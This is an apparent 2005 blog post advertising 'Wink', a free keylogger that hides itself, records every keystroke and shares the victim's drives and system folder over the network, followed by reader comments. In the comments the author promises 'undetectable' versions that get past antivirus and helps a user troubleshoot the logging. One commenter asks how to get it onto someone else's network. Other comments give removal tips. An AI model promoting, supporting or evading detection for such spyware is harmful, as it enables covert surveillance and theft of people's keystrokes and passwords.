Wednesday, April 27, 2005

Wink

Wink Wink is a powerful keylogger. In the current version, once run, it installs and hides itself in the system and starts to log every key typed by the user. It then shares all the system drives and the system folder on LAN/WLAN where it saves the key log.
[Note: This Software is available for free]

Get it from CNET Download.com!

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Designed & Developed By: Kamran Zafar

15 comments:

Anonymous said...

How to remove it please, I accidentally activate it
pls reply to jmaethasith@hotmail.com
THX

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Anonymous said...

you can remove this by using MS antispyware

Anonymous said...

Nice... so Microsoft got to know about it.. cool... if anyone requires patched undetectable versions please contact the author: xeus.man@gmail.com

Anonymous said...

Hi!

Sorry, i speak very little english.
Wink 1.2 perfect remove program: the NOD32 Antivirus System. Download : http://www.nod32.com/download/download.htm
Run you nod32 program, cleaning your system, and next manually remove you sharing all drives, and system32 directory, after you delete sys32user.dat file.

Peace, Love, and.. :)

citrom

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TJFRoST said...

hey i love your software i installed it to find none of the top scans can pick it up and its very stealth when clicked any tips on how to get it on someones network thats not exepting files?

Anonymous said...

hi,, really nice program, but still can't remove it, plz tell me how xeus ,, reply at lovindew@hotmail.com

Anonymous said...

hello everybody out there

u can always remove this wink by doing a simple restore.

path:1)go to start
2)go to all programs-accessories-system tools-system restore
3)restore to a previous date...

happy removing..

Anonymous said...

hi lovely program ,,, i am not able to extract it form the rar archive can you help me with it....

Kamran Zafar said...

Hi... download from homepage... http://www.geocities.com/xeus_man/wink.htm

Thanks,

Anonymous said...

Hi,
Looks like a great program, but I'm having a problem. It seems to have stopped working after I restarted the machine. The sys32user file is in the system32 directory, but it contains nothing from after the restart. Not sure it means anything, but the windows directory on this particular machine is named winnt even though it is running XP. I installed version 1.0 because I didn't want to share all of the directories.
Thanks for any help!

Anonymous said...

I left the message yesterday about wink not working after restart. I thought maybe I should uninstall and then install a later version. But started working on the uninstall, I noticed that there was not a win.dat file in the windows directory and wondered if that could be the problem. That's also the file that is supposed to tell me the name of the wink file - right? Any idea why I might not be getting the win.dat file?
Thanks!

Kamran Zafar said...

It depends on which version you are using. If you are using 1.0 or 1.2 then there should be a file called win.dat... but even if u cant find it, it doesnt metter as it is just a text file that doesnt really do any thing if you remove the executables.

Kamran Zafar said...

Some anit-virus software also seem to detect wink and deletes the wink.dat file... this could be a problem you are facing... I am working on patched versions so keep on visiting the homepage for undetectable versions...